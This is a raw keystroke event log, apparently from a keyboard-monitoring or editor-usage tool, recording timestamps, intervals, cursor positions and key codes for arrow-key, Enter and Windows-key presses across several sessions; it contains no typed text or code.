-13:58:57.8228589:61273,1114:1192:Return:Return:13:False:False:False -13:58:58.3976886:574,8297:1192:Left:Left:37:False:False:False -13:58:58.5961624:198,4738:1191:Left:Left:37:False:False:False -13:58:59.0923396:496,1772:1190:Left:Left:37:False:False:False -13:58:59.1753271:82,9875:1189:Left:Left:37:False:False:False -13:58:59.2226275:47,3004:1188:Left:Left:37:False:False:False -13:58:59.2831307:60,5032:1187:Left:Left:37:False:False:False -13:58:59.3237429:40,6122:1186:Left:Left:37:False:False:False -13:58:59.3812355:57,4926:1185:Left:Left:37:False:False:False -13:58:59.4302369:49,0014:1184:Left:Left:37:False:False:False -13:58:59.4869392:56,7023:1183:Left:Left:37:False:False:False -13:58:59.5327933:45,8541:1182:Left:Left:37:False:False:False -13:58:59.5728299:40,0366:1181:Left:Left:37:False:False:False -13:58:59.6060621:33,2322:1180:Left:Left:37:False:False:False -13:58:59.6381989:32,1368:1179:Left:Left:37:False:False:False -13:58:59.6883667:50,1678:1178:Left:Left:37:False:False:False -13:58:59.7239471:35,5804:1177:Left:Left:37:False:False:False -13:58:59.7732110:49,2639:1176:Left:Left:37:False:False:False -13:58:59.8074904:34,2794:1175:Left:Left:37:False:False:False -13:58:59.8305648:23,0744:1174:Left:Left:37:False:False:False -13:58:59.8666742:36,1094:1173:Left:Left:37:False:False:False -13:58:59.8897233:23,0491:1172:Left:Left:37:False:False:False -13:58:59.9113059:21,5826:1171:Left:Left:37:False:False:False -13:58:59.9895941:78,2882:1170:Left:Left:37:False:False:False -13:59:00.0702486:80,6545:1169:Left:Left:37:False:False:False -13:59:00.0786417:8,3931:1168:Left:Left:37:False:False:False -13:59:00.1494845:70,8428:1167:Left:Left:37:False:False:False -13:59:00.2201020:70,6175:1166:Left:Left:37:False:False:False -13:59:00.2766996:56,5976:1165:Left:Left:37:False:False:False -13:59:00.3529643:76,2647:1164:Left:Left:37:False:False:False -13:59:00.4080501:55,0858:1163:Left:Left:37:False:False:False -13:59:00.4704350:62,3849:1162:Left:Left:37:False:False:False -13:59:00.5678607:97,4257:1161:Left:Left:37:False:False:False -13:59:00.6546935:86,8328:1160:Left:Left:37:False:False:False -13:59:00.7233048:68,6113:1159:Left:Left:37:False:False:False -13:59:00.7776072:54,3024:1158:Left:Left:37:False:False:False -13:59:00.8279749:50,3677:1157:Left:Left:37:False:False:False -13:59:00.8341221:6,1472:1156:Left:Left:37:False:False:False -13:59:01.2358250:401,7029:1155:Return:Return:13:False:False:False -12:48:14.9565595:29775,7881:0:LWin:LWin:91:False:False:False -12:50:24.8806365:129924,077:0:LWin:LWin:91:False:False:False -12:51:06.9575504:42075,9164:0:LWin:LWin:91:False:False:False -12:59:59.7966270:532839,0766:0:LWin:LWin:91:False:False:False -13:25:52.8753429:1553078,7159:1061:Return:Return:13:False:False:False -13:25:53.7604965:885,1536:1061:Left:Left:37:False:False:False -13:25:53.9354889:174,9924:1060:Left:Left:37:False:False:False -13:25:54.0902468:154,7579:1059:Left:Left:37:False:False:False -13:25:54.2356566:145,4098:1058:Left:Left:37:False:False:False -13:25:54.3697436:134,087:1057:Left:Left:37:False:False:False -13:25:54.5111666:141,423:1056:Left:Left:37:False:False:False -13:25:54.6335779:122,4113:1055:Left:Left:37:False:False:False -13:25:54.7799303:146,3524:1054:Left:Left:37:False:False:False -13:25:54.9271443:147,214:1053:Left:Left:37:False:False:False -13:25:55.0767018:149,5575:1052:Left:Left:37:False:False:False -13:25:55.2159938:139,292:1051:Left:Left:37:False:False:False -13:25:55.3811355:165,1417:1050:Left:Left:37:False:False:False -13:25:55.8679940:486,8585:1049:Left:Left:37:False:False:False -13:25:56.0358007:167,8067:1048:Left:Left:37:False:False:False -13:25:56.1693400:133,5393:1047:Left:Left:37:False:False:False -13:25:56.2956550:126,315:1046:Left:Left:37:False:False:False -13:25:56.4098436:114,1886:1045:Left:Left:37:False:False:False -13:25:56.9078878:498,0442:1044:Return:Return:13:False:False:False -13:26:22.8794192:25970,5058:1941:Return:Return:13:False:False:False -13:26:23.6036221:724,2029:1941:Left:Left:37:False:False:False -13:26:23.8689341:265,312:1940:Left:Left:37:False:False:False -13:26:24.4951771:625,2427:1939:Left:Left:37:False:False:False -13:26:24.9929505:496,7803:1938:Left:Left:37:False:False:False -13:26:25.1313383:138,3878:1937:Left:Left:37:False:False:False -13:26:25.2071151:75,7768:1936:Left:Left:37:False:False:False -13:26:25.2903684:83,2533:1935:Left:Left:37:False:False:False -13:26:25.3413668:50,9984:1934:Left:Left:37:False:False:False -13:26:25.3536327:12,2659:1933:Left:Left:37:False:False:False -13:26:25.4040826:50,4499:1932:Left:Left:37:False:False:False -13:26:25.4550571:50,9745:1931:Left:Left:37:False:False:False -13:26:25.5061378:51,0807:1930:Left:Left:37:False:False:False -13:26:25.5177212:11,5834:1929:Left:Left:37:False:False:False -13:26:25.5544183:36,6971:1928:Left:Left:37:False:False:False -13:26:25.6044663:50,048:1927:Left:Left:37:False:False:False -13:26:25.6574556:52,9893:1926:Left:Left:37:False:False:False -13:26:25.7034326:45,977:1925:Left:Left:37:False:False:False -13:26:25.7250541:21,6215:1924:Left:Left:37:False:False:False -13:26:25.7661425:41,0884:1923:Left:Left:37:False:False:False -13:26:25.7887493:22,6068:1922:Left:Left:37:False:False:False -13:26:25.8218917:33,1424:1921:Left:Left:37:False:False:False -13:26:25.9309376:109,0459:1920:Left:Left:37:False:False:False -13:26:26.0441160:113,1784:1919:Left:Left:37:False:False:False -13:26:26.1608418:116,7258:1918:Left:Left:37:False:False:False -13:26:26.1745465:13,7047:1917:Left:Left:37:False:False:False -13:26:26.2729213:98,3748:1916:Left:Left:37:False:False:False -13:26:26.3717575:98,8362:1915:Left:Left:37:False:False:False -13:26:26.5636419:191,8844:1914:Down:Down:40:False:False:False -13:26:26.8057028:242,0609:1909:Down:Down:40:False:False:False -13:26:26.9561096:150,4068:1904:Down:Down:40:False:False:False -13:26:27.4638964:507,7868:1899:Down:Down:40:False:False:False -13:26:27.5028599:37,9694:1894:Down:Down:40:False:False:False -13:26:27.5225212:19,6613:1889:Down:Down:40:False:False:False -13:26:27.5618317:39,3105:1884:Down:Down:40:False:False:False -13:26:27.5960992:34,2675:1879:Down:Down:40:False:False:False -13:26:27.6291930:33,0938:1874:Down:Down:40:False:False:False -13:26:27.6611567:31,9637:1869:Down:Down:40:False:False:False -13:26:27.6937066:31,2091:1864:Down:Down:40:False:False:False -13:26:27.7230193:29,3127:1859:Down:Down:40:False:False:False -13:26:27.7588961:35,8768:1854:Down:Down:40:False:False:False -13:26:27.7888123:28,9198:1849:Down:Down:40:False:False:False -13:26:27.8257780:36,9657:1844:Down:Down:40:False:False:False -13:26:27.8545918:28,8138:1839:Down:Down:40:False:False:False -13:26:27.8843160:29,7242:1834:Down:Down:40:False:False:False -13:26:27.9228900:38,574:1829:Down:Down:40:False:False:False -13:26:27.9556805:32,7905:1824:Down:Down:40:False:False:False -13:26:27.9887532:33,0727:1819:Down:Down:40:False:False:False -13:26:28.0214371:32,6839:1814:Down:Down:40:False:False:False -13:26:28.0543682:32,9311:1809:Down:Down:40:False:False:False -13:26:28.0876766:33,3084:1804:Down:Down:40:False:False:False -13:26:28.2382330:150,5564:1799:Down:Down:40:False:False:False -13:26:28.3384649:100,2319:1794:Down:Down:40:False:False:False -13:26:28.4166803:78,2154:1789:Down:Down:40:False:False:False -13:26:28.6171055:200,4252:1784:Down:Down:40:False:False:False -13:26:29.2695952:652,4897:1779:Up:Up:38:False:False:False -13:26:29.5024243:232,8291:1784:Up:Up:38:False:False:False -13:26:31.3305220:1828,0977:1789:Down:Down:40:False:False:False -13:26:32.0998090:769,1408:1784:Up:Up:38:False:False:False -13:26:32.8491239:748,3115:1789:Down:Down:40:False:False:False -13:26:33.4365163:586,3618:1784:Up:Up:38:False:False:False -13:26:33.9827554:560,5114:1789:Down:Down:40:False:False:False -13:26:35.3212021:1324,127:1784:Up:Up:38:False:False:False -13:26:37.6416590:2319,4215:1789:Right:Right:39:False:False:False -13:26:37.9787398:337,0808:1790:Right:Right:39:False:False:False -13:26:38.2301000:250,3358:1791:Right:Right:39:False:False:False -13:26:38.4202680:190,168:1792:Right:Right:39:False:False:False -13:26:38.5871186:166,8506:1793:Right:Right:39:False:False:False -13:26:38.9590193:371,9007:1794:Right:Right:39:False:False:False -13:26:39.1401593:181,14:1795:Right:Right:39:False:False:False -13:26:39.3283080:188,1487:1796:Right:Right:39:False:False:False -13:26:40.0409511:712,6431:1797:Left:Left:37:False:False:False -13:26:40.2527119:211,7608:1796:Left:Left:37:False:False:False -13:26:40.5167943:264,0824:1795:Left:Left:37:False:False:False -13:26:40.7692675:252,4732:1794:Left:Left:37:False:False:False -13:26:40.9730337:203,7662:1793:Left:Left:37:False:False:False -13:26:41.1935646:220,5309:1792:Left:Left:37:False:False:False -13:26:41.3891719:195,6073:1791:Left:Left:37:False:False:False -13:26:41.5576219:168,45:1790:Left:Left:37:False:False:False -13:26:41.7553611:197,7392:1789:Left:Left:37:False:False:False -13:26:41.9416147:186,2536:1788:Left:Left:37:False:False:False -13:26:42.0820238:140,4091:1787:Left:Left:37:False:False:False -13:26:42.2573129:175,2891:1786:Left:Left:37:False:False:False -13:26:42.9851947:727,8818:1785:Right:Right:39:False:False:False -13:26:43.2499881:250,2871:1786:Right:Right:39:False:False:False -13:26:43.5719559:321,9678:1787:Right:Right:39:False:False:False -13:26:44.0163859:444,43:1788:Left:Left:37:False:False:False -13:26:47.0036653:2987,2794:1787:Right:Right:39:False:False:False -13:26:47.3123323:302,0052:1788:Right:Right:39:False:False:False -13:26:47.5873903:274,0192:1789:Right:Right:39:False:False:False -13:26:47.8818202:293,4005:1790:Left:Left:37:False:False:False -13:26:48.1696437:287,8235:1789:Left:Left:37:False:False:False -13:26:48.4171827:247,539:1788:Left:Left:37:False:False:False -13:26:48.9922068:575,0241:1787:Left:Left:37:False:False:False -13:26:49.3832692:391,0624:1786:Left:Left:37:False:False:False -13:26:49.8510788:466,7807:1785:Right:Right:39:False:False:False -13:26:50.0966945:244,5818:1786:Right:Right:39:False:False:False -13:26:50.4061966:309,5021:1787:Right:Right:39:False:False:False -13:26:50.7408571:334,6605:1788:Right:Right:39:False:False:False -13:26:51.0400315:299,1744:1789:Right:Right:39:False:False:False -13:26:51.2461213:206,0898:1790:Right:Right:39:False:False:False -13:26:51.8850530:638,9317:1791:Left:Left:37:False:False:False -13:26:52.1187740:233,721:1790:Left:Left:37:False:False:False -13:26:52.2739235:155,1495:1789:Left:Left:37:False:False:False -13:26:52.4828026:208,8791:1788:Left:Left:37:False:False:False -13:26:52.8136861:329,8446:1787:Left:Left:37:False:False:False -13:26:53.0383887:224,7026:1786:Left:Left:37:False:False:False -19:06:58.7453803:83578,2464:1806:Return:Return:13:False:False:False -19:07:00.1607068:1415,3265:1806:Right:Right:39:False:False:False -19:07:00.3519908:191,284:1807:Right:Right:39:False:False:False -19:07:00.5039955:152,0047:1808:Right:Right:39:False:False:False -19:07:00.6416817:137,6862:1809:Right:Right:39:False:False:False -19:07:00.7667925:124,1154:1810:Right:Right:39:False:False:False -19:07:00.9429055:176,113:1811:Right:Right:39:False:False:False -19:07:01.0863010:143,3955:1812:Right:Right:39:False:False:False -19:07:01.2207162:134,4152:1813:Right:Right:39:False:False:False -19:07:01.3361819:115,4657:1814:Right:Right:39:False:False:False -19:07:01.4928986:156,7167:1815:Right:Right:39:False:False:False -19:07:01.6483874:155,4888:1816:Right:Right:39:False:False:False -19:07:01.8268418:178,4544:1817:Right:Right:39:False:False:False -19:07:01.9692459:142,4041:1818:Right:Right:39:False:False:False -19:07:02.1049611:135,7152:1819:Right:Right:39:False:False:False -19:07:02.2776083:172,6472:1820:Right:Right:39:False:False:False -19:07:02.4319050:154,2967:1821:Right:Right:39:False:False:False -19:07:02.5766666:144,7616:1822:Right:Right:39:False:False:False -19:07:02.7372661:160,5995:1823:Right:Right:39:False:False:False -19:07:02.8921134:154,8473:1824:Right:Right:39:False:False:False -19:07:03.0551155:163,0021:1825:Right:Right:39:False:False:False -19:07:03.2175879:162,4724:1826:Right:Right:39:False:False:False -19:07:03.3602236:142,6357:1827:Right:Right:39:False:False:False -19:07:03.5247586:164,535:1828:Right:Right:39:False:False:False -19:07:03.6810825:155,3269:1829:Right:Right:39:False:False:False -19:07:03.8340924:153,0099:1830:Right:Right:39:False:False:False -19:07:04.0119608:177,8684:1831:Right:Right:39:False:False:False -19:07:04.1665847:154,6239:1832:Right:Right:39:False:False:False -19:07:04.3448155:178,2308:1833:Right:Right:39:False:False:False -19:07:04.5091023:164,2868:1834:Right:Right:39:False:False:False -19:07:04.6637040:154,6017:1835:Right:Right:39:False:False:False -19:07:05.4103085:746,6045:1836:Up:Up:38:False:False:False -19:07:05.5748113:164,5028:1841:Up:Up:38:False:False:False -19:07:05.7538386:179,0273:1846:Up:Up:38:False:False:False -19:07:05.8909845:137,1459:1851:Up:Up:38:False:False:False -19:07:06.0559907:165,0062:1856:Up:Up:38:False:False:False -19:07:06.5443137:488,323:1861:Up:Up:38:False:False:False -19:07:06.6199521:74,5991:1866:Up:Up:38:False:False:False -19:07:06.6781144:58,1623:1871:Up:Up:38:False:False:False -19:07:06.7748180:96,7036:1876:Up:Up:38:False:False:False -19:07:06.8733816:98,5636:1881:Up:Up:38:False:False:False -19:07:06.9929339:119,5523:1886:Up:Up:38:False:False:False -19:07:07.0099365:17,0026:1891:Up:Up:38:False:False:False -19:07:07.0579822:48,0457:1896:Up:Up:38:False:False:False -19:07:07.1182900:60,3078:1901:Up:Up:38:False:False:False -19:07:07.1895535:71,2635:1906:Up:Up:38:False:False:False -19:07:07.2012791:11,7256:1911:Up:Up:38:False:False:False -19:07:07.3101456:108,8318:1916:Up:Up:38:False:False:False -19:07:07.3350570:24,9114:1921:Up:Up:38:False:False:False -19:07:07.3810891:46,0321:1926:Up:Up:38:False:False:False -19:07:07.4299785:48,8894:1931:Up:Up:38:False:False:False -19:07:07.5168043:86,8258:1936:Up:Up:38:False:False:False -19:07:07.6126355:95,8312:1941:Up:Up:38:False:False:False -19:07:07.7231840:110,5485:1946:Up:Up:38:False:False:False -19:07:07.7523986:29,2146:1951:Up:Up:38:False:False:False -19:07:07.7987524:46,3538:1956:Up:Up:38:False:False:False -19:07:07.8460566:47,3042:1961:Up:Up:38:False:False:False -19:07:07.9283657:82,3091:1966:Up:Up:38:False:False:False -19:07:08.0294483:101,0826:1971:Up:Up:38:False:False:False -19:07:08.1494766:120,0283:1976:Up:Up:38:False:False:False -19:07:08.1811869:31,7103:1981:Up:Up:38:False:False:False -19:07:08.2580850:76,8981:1986:Up:Up:38:False:False:False -19:07:08.3200730:61,988:1991:Up:Up:38:False:False:False -19:07:08.3872403:67,1673:1996:Up:Up:38:False:False:False -19:07:08.4896377:102,3974:2001:Up:Up:38:False:False:False -19:07:08.5950693:105,4316:2006:Up:Up:38:False:False:False -19:07:08.6253589:30,2896:2011:Up:Up:38:False:False:False -19:07:08.6866277:61,2688:2016:Up:Up:38:False:False:False -19:07:08.7521423:64,5161:2021:Up:Up:38:False:False:False -19:07:08.8209495:68,8072:2026:Up:Up:38:False:False:False -19:07:08.9217580:100,8085:2031:Up:Up:38:False:False:False -19:07:09.0219957:100,2377:2036:Up:Up:38:False:False:False -19:07:09.0619720:39,9763:2041:Up:Up:38:False:False:False -19:07:09.1085909:46,6189:2046:Up:Up:38:False:False:False -19:07:09.1821694:73,5785:2051:Up:Up:38:False:False:False -19:07:09.2543860:72,2166:2056:Up:Up:38:False:False:False -19:07:09.3444283:90,0423:2061:Up:Up:38:False:False:False -19:07:09.4717712:127,3429:2066:Up:Up:38:False:False:False -19:07:09.4905239:18,7527:2071:Up:Up:38:False:False:False -19:07:09.5671045:76,5806:2076:Up:Up:38:False:False:False -19:07:09.6446056:77,5011:2081:Up:Up:38:False:False:False -19:07:09.7269800:82,3744:2086:Up:Up:38:False:False:False -19:07:09.8366733:109,6933:2091:Up:Up:38:False:False:False -19:07:09.9519049:115,2316:2096:Up:Up:38:False:False:False -19:07:10.3135433:361,6384:2101:Down:Down:40:False:False:False -19:07:10.8134474:499,9041:2096:Down:Down:40:False:False:False -19:07:10.9463333:131,7018:2091:Down:Down:40:False:False:False -19:07:11.0282049:81,8716:2086:Down:Down:40:False:False:False -19:07:11.0791103:50,9054:2081:Down:Down:40:False:False:False -19:07:11.1430299:49,2206:2076:Down:Down:40:False:False:False -19:07:11.1797103:36,6804:2071:Down:Down:40:False:False:False -19:07:11.3000635:120,3532:2066:Down:Down:40:False:False:False -19:07:11.3961618:96,0983:2061:Down:Down:40:False:False:False -19:07:11.4866246:90,4628:2056:Down:Down:40:False:False:False -19:07:11.5505548:63,9302:2051:Down:Down:40:False:False:False -19:07:11.5788076:27,5464:2046:Down:Down:40:False:False:False -19:07:11.6123271:33,5195:2041:Down:Down:40:False:False:False -19:07:11.7320263:119,6992:2036:Down:Down:40:False:False:False -19:07:11.8271481:95,1218:2031:Down:Down:40:False:False:False -19:07:11.9140822:86,9341:2026:Down:Down:40:False:False:False -19:07:11.9635844:49,5022:2021:Down:Down:40:False:False:False -19:07:12.0190218:55,4374:2016:Down:Down:40:False:False:False -19:07:12.0455874:26,5656:2011:Down:Down:40:False:False:False -19:07:12.0612462:15,6588:2006:Down:Down:40:False:False:False -19:07:12.1518850:90,6388:2001:Down:Down:40:False:False:False -19:07:15.3562942:3204,4092:1996:Return:Return:13:False:False:False -19:09:24.0987197:128742,4255:1643:Return:Return:13:False:False:False -19:09:25.0646793:965,9596:1643:Right:Right:39:False:False:False -19:09:25.2589616:194,2823:1644:Right:Right:39:False:False:False -19:09:25.4430305:184,0689:1645:Right:Right:39:False:False:False -19:09:25.9906840:547,6535:1646:Up:Up:38:False:False:False -19:09:26.4897966:499,1126:1651:Up:Up:38:False:False:False -19:09:26.5789543:88,1609:1656:Up:Up:38:False:False:False -19:09:26.6634351:84,4808:1661:Up:Up:38:False:False:False -19:09:26.7904483:127,0132:1666:Up:Up:38:False:False:False -19:09:26.9606303:155,7423:1671:Up:Up:38:False:False:False -19:09:27.4894739:528,8436:1673:Right:Right:39:False:False:False -19:09:27.7023863:211,911:1674:Right:Right:39:False:False:False -19:09:28.0352112:332,8249:1675:Right:Right:39:False:False:False -19:09:28.2590334:223,8222:1676:Right:Right:39:False:False:False -19:09:28.4548342:195,8008:1677:Right:Right:39:False:False:False -19:09:28.6553520:200,5178:1678:Right:Right:39:False:False:False -19:09:28.8600939:204,7419:1679:Right:Right:39:False:False:False -19:09:29.0752409:215,147:1680:Right:Right:39:False:False:False -19:09:29.1158256:40,5847:1681:Right:Right:39:False:False:False -19:09:29.2730356:157,21:1682:Right:Right:39:False:False:False -19:09:29.4293845:156,3489:1683:Right:Right:39:False:False:False -19:09:29.5954165:166,032:1684:Right:Right:39:False:False:False -19:09:29.7624451:167,0286:1685:Right:Right:39:False:False:False -19:09:29.9457961:183,351:1686:Right:Right:39:False:False:False -19:09:30.1040463:158,2502:1687:Right:Right:39:False:False:False -19:09:30.2713565:167,3102:1688:Right:Right:39:False:False:False -19:09:30.4407475:169,391:1689:Right:Right:39:False:False:False -19:09:30.6238895:183,142:1690:Right:Right:39:False:False:False -19:09:30.8021114:178,2219:1691:Right:Right:39:False:False:False -19:09:30.9988327:196,7213:1692:Right:Right:39:False:False:False -19:09:31.7873737:788,541:1693:Return:Return:13:False:False:False -19:11:36.0788417:124291,468:263:Return:Return:13:False:False:False -19:11:40.7861002:4707,2585:263:Return:Return:13:False:False:False -19:11:43.1076456:2321,4729:474:Return:Return:13:False:False:False -19:11:43.5408853:433,2397:474:Left:Left:37:False:False:False -19:11:43.7346583:192,7339:473:Left:Left:37:False:False:False -19:11:43.8838814:149,2231:472:Left:Left:37:False:False:False -19:11:44.0188463:134,9649:471:Left:Left:37:False:False:False -19:11:44.5181272:499,2809:470:Left:Left:37:False:False:False -19:11:44.6343669:116,0048:469:Left:Left:37:False:False:False -19:11:44.7283778:94,0109:468:Left:Left:37:False:False:False -19:11:44.8166941:88,3163:467:Left:Left:37:False:False:False -19:11:44.8866550:69,9609:466:Left:Left:37:False:False:False -19:11:44.9682141:81,5591:465:Left:Left:37:False:False:False -19:11:45.0391913:70,9772:464:Left:Left:37:False:False:False -19:11:45.0983107:59,1194:463:Left:Left:37:False:False:False -19:11:45.1905584:92,2477:462:Left:Left:37:False:False:False -19:11:45.2499017:59,3433:461:Left:Left:37:False:False:False -19:11:45.3155672:65,6655:460:Left:Left:37:False:False:False -19:11:45.4384058:122,8386:459:Left:Left:37:False:False:False -19:11:45.9476024:509,1966:458:Left:Left:37:False:False:False -19:11:46.0350887:86,4883:457:Left:Left:37:False:False:False -19:11:46.0721181:37,0294:456:Left:Left:37:False:False:False -19:11:46.1265906:54,4725:455:Left:Left:37:False:False:False -19:11:46.1560749:29,4843:454:Left:Left:37:False:False:False -19:11:46.2036159:47,541:453:Left:Left:37:False:False:False -19:11:46.2385889:34,973:452:Left:Left:37:False:False:False -19:11:46.2650552:26,4663:451:Left:Left:37:False:False:False -19:11:46.4041703:139,1151:450:Left:Left:37:False:False:False -19:11:46.4074927:3,3224:449:Left:Left:37:False:False:False -19:11:46.5195624:112,0697:448:Left:Left:37:False:False:False -19:11:46.6492722:129,7098:447:Left:Left:37:False:False:False -19:11:46.7645992:115,327:446:Left:Left:37:False:False:False -19:11:46.8682652:103,666:445:Left:Left:37:False:False:False -19:11:46.9769263:108,6611:444:Left:Left:37:False:False:False -19:11:47.0766625:99,7362:443:Left:Left:37:False:False:False -19:11:47.1880748:111,4123:442:Left:Left:37:False:False:False -19:11:47.2885245:100,4497:441:Left:Left:37:False:False:False -19:11:47.3905750:102,0505:440:Left:Left:37:False:False:False -19:11:47.3928389:2,1695:439:Left:Left:37:False:False:False -19:11:47.4693493:76,4637:438:Left:Left:37:False:False:False -19:11:47.5568084:87,4591:437:Left:Left:37:False:False:False -19:11:47.6400839:83,2755:436:Left:Left:37:False:False:False -19:11:47.7060437:65,9598:435:Left:Left:37:False:False:False -19:11:47.7774866:71,4429:434:Left:Left:37:False:False:False -19:11:47.8549106:77,424:433:Left:Left:37:False:False:False -19:11:47.9247168:69,8062:432:Left:Left:37:False:False:False -19:11:47.9846897:59,9729:431:Left:Left:37:False:False:False -19:11:48.0512666:66,5769:430:Left:Left:37:False:False:False -19:11:48.1065304:55,2638:429:Left:Left:37:False:False:False -19:11:48.1533457:46,8153:428:Left:Left:37:False:False:False -19:11:48.2066672:53,3215:427:Left:Left:37:False:False:False -19:11:48.2066672:0:426:Left:Left:37:False:False:False -19:11:48.2538691:39,7886:425:Left:Left:37:False:False:False -19:11:48.2832346:29,3655:424:Left:Left:37:False:False:False -19:11:49.0096334:726,3988:423:Left:Left:37:False:False:False -19:11:49.5075775:497,9441:422:Left:Left:37:False:False:False -19:11:49.5698542:61,2363:421:Left:Left:37:False:False:False -19:11:49.7016083:131,7541:420:Left:Left:37:False:False:False -19:11:49.8225640:120,9557:419:Left:Left:37:False:False:False -19:11:49.9378641:115,3001:418:Left:Left:37:False:False:False -19:11:50.0430301:105,166:417:Left:Left:37:False:False:False -19:11:50.1726575:129,6274:416:Left:Left:37:False:False:False -19:11:50.2799225:107,265:415:Left:Left:37:False:False:False -19:11:50.3880821:108,1596:414:Left:Left:37:False:False:False -19:11:50.5060099:117,9278:413:Left:Left:37:False:False:False -19:11:50.5987353:92,7254:412:Left:Left:37:False:False:False -19:11:50.6928964:94,1611:411:Left:Left:37:False:False:False -19:11:50.7965868:103,6904:410:Left:Left:37:False:False:False -19:11:50.8925545:95,9677:409:Left:Left:37:False:False:False -19:11:50.9754928:82,9383:408:Left:Left:37:False:False:False -19:11:51.0532177:77,7249:407:Left:Left:37:False:False:False -19:11:51.1423241:89,1064:406:Left:Left:37:False:False:False -19:11:51.2201171:77,793:405:Left:Left:37:False:False:False -19:11:51.2947682:74,6511:404:Left:Left:37:False:False:False -19:11:51.3595712:64,803:403:Left:Left:37:False:False:False -19:11:51.4334342:73,863:402:Left:Left:37:False:False:False -19:11:51.4883269:54,8927:401:Left:Left:37:False:False:False -19:11:51.5607787:72,4518:400:Left:Left:37:False:False:False -19:11:52.5288961:968,1174:399:Right:Right:39:False:False:False -19:11:52.8427423:313,8462:400:Right:Right:39:False:False:False -19:11:53.1346752:291,9329:401:Right:Right:39:False:False:False -19:11:53.3498859:214,1757:402:Right:Right:39:False:False:False -19:11:53.8634506:513,5647:403:Left:Left:37:False:False:False -19:11:54.3655915:502,1409:402:Left:Left:37:False:False:False -19:11:54.4341666:68,5751:401:Left:Left:37:False:False:False -19:11:54.5042173:70,0507:400:Left:Left:37:False:False:False -19:11:54.5664236:62,2063:399:Left:Left:37:False:False:False -19:11:54.6363929:69,9693:398:Left:Left:37:False:False:False -19:11:54.6887673:52,3744:397:Left:Left:37:False:False:False -19:11:54.7311422:42,3749:396:Left:Left:37:False:False:False -19:11:54.7852720:54,1298:395:Left:Left:37:False:False:False -19:11:54.8201059:34,8339:394:Left:Left:37:False:False:False -19:11:54.8639663:43,8604:393:Left:Left:37:False:False:False -19:11:54.8997067:35,7404:392:Left:Left:37:False:False:False -19:11:54.9314417:31,735:391:Left:Left:37:False:False:False -19:11:55.0625718:131,1301:390:Left:Left:37:False:False:False -19:11:55.1965088:133,937:389:Left:Left:37:False:False:False -19:11:55.3078602:111,3514:388:Left:Left:37:False:False:False -19:11:55.6701795:362,3193:387:Left:Left:37:False:False:False -19:11:55.9651308:294,9513:386:Left:Left:37:False:False:False -19:11:56.4771057:511,9749:385:Left:Left:37:False:False:False -19:11:56.7121680:234,0657:384:Left:Left:37:False:False:False -19:11:57.7142002:1002,0322:383:Left:Left:37:False:False:False -19:11:57.9287441:214,5439:382:Left:Left:37:False:False:False -19:11:58.0994572:170,7131:381:Left:Left:37:False:False:False -19:11:58.2455605:146,1033:380:Left:Left:37:False:False:False -19:11:58.4957166:249,1245:379:Left:Left:37:False:False:False -19:11:59.4256403:929,9237:378:Left:Left:37:False:False:False -19:11:59.9193603:493,72:377:Left:Left:37:False:False:False -19:12:00.5397339:620,3736:376:Left:Left:37:False:False:False -19:12:01.1082492:568,5153:375:Left:Left:37:False:False:False -19:12:01.4764322:352,316:374:Left:Left:37:False:False:False -19:12:01.7019036:224,476:373:Left:Left:37:False:False:False -19:12:01.9041225:202,2189:372:Left:Left:37:False:False:False -19:12:02.1008850:196,7625:371:Left:Left:37:False:False:False -19:12:02.3369567:236,0717:370:Left:Left:37:False:False:False -19:12:02.6788034:341,8467:369:Left:Left:37:False:False:False -19:12:02.8928735:213,0747:368:Left:Left:37:False:False:False -19:12:03.1200998:227,2263:367:Left:Left:37:False:False:False -19:12:03.3337793:213,6795:366:Left:Left:37:False:False:False -19:12:03.5848566:251,0773:365:Left:Left:37:False:False:False -19:12:04.0067834:421,9268:364:Left:Left:37:False:False:False -19:12:04.2484235:241,6401:363:Left:Left:37:False:False:False -19:12:04.4900061:240,5945:362:Left:Left:37:False:False:False -19:12:04.7874911:296,4932:361:Left:Left:37:False:False:False -19:12:04.9941944:205,7004:360:Left:Left:37:False:False:False -19:12:05.1803668:186,1724:359:Left:Left:37:False:False:False -19:12:05.3509707:170,6039:358:Left:Left:37:False:False:False -19:12:05.5348631:183,8924:357:Left:Left:37:False:False:False -19:12:05.7229831:188,12:356:Left:Left:37:False:False:False -19:12:05.9160939:193,1108:355:Left:Left:37:False:False:False -19:12:06.1096879:193,594:354:Left:Left:37:False:False:False -19:12:06.3223674:212,6795:353:Left:Left:37:False:False:False -19:12:06.7423860:420,0186:352:Left:Left:37:False:False:False -19:12:07.0201286:277,7426:351:Left:Left:37:False:False:False -19:12:07.2793958:259,2672:350:Left:Left:37:False:False:False -19:12:07.5245535:245,1577:349:Left:Left:37:False:False:False -19:12:07.7547460:230,1925:348:Left:Left:37:False:False:False -19:12:08.2302962:475,5502:347:Left:Left:37:False:False:False -19:12:08.4788308:248,5346:346:Left:Left:37:False:False:False -19:12:09.0528831:574,0523:345:Left:Left:37:False:False:False -19:12:09.5836282:530,7451:344:Right:Right:39:False:False:False -19:12:09.7918506:207,4478:345:Right:Right:39:False:False:False -19:12:09.9954316:203,581:346:Right:Right:39:False:False:False -19:12:10.1729927:177,5611:347:Right:Right:39:False:False:False -19:12:11.0260012:853,0085:348:Left:Left:37:False:False:False -19:12:11.2110545:185,0533:347:Left:Left:37:False:False:False -19:12:11.3809164:169,8619:346:Left:Left:37:False:False:False -19:12:11.5610697:180,1533:345:Left:Left:37:False:False:False -19:12:11.7257223:164,6526:344:Left:Left:37:False:False:False -19:12:11.8864970:160,7747:343:Left:Left:37:False:False:False -19:12:12.0679655:181,4685:342:Left:Left:37:False:False:False -19:12:12.2427005:174,735:341:Left:Left:37:False:False:False -19:12:12.4162763:173,5758:340:Left:Left:37:False:False:False -19:12:12.6115464:195,2701:339:Left:Left:37:False:False:False -19:12:12.7844452:172,8988:338:Left:Left:37:False:False:False -19:12:13.0572703:272,8251:337:Left:Left:37:False:False:False -19:12:13.5424339:485,1636:336:Left:Left:37:False:False:False -19:12:13.7444924:201,0257:335:Left:Left:37:False:False:False -19:12:14.0595631:315,0707:334:Left:Left:37:False:False:False -19:12:14.3025892:241,9855:333:Left:Left:37:False:False:False -19:12:14.5139782:210,392:332:Left:Left:37:False:False:False -19:12:14.9548238:440,8456:331:Left:Left:37:False:False:False -19:12:15.2077096:251,8924:330:Left:Left:37:False:False:False -19:12:15.4225324:214,8228:329:Left:Left:37:False:False:False -19:12:15.6672387:244,7063:328:Left:Left:37:False:False:False -19:12:15.8994366:232,1979:327:Left:Left:37:False:False:False -19:12:16.1024967:203,0601:326:Left:Left:37:False:False:False 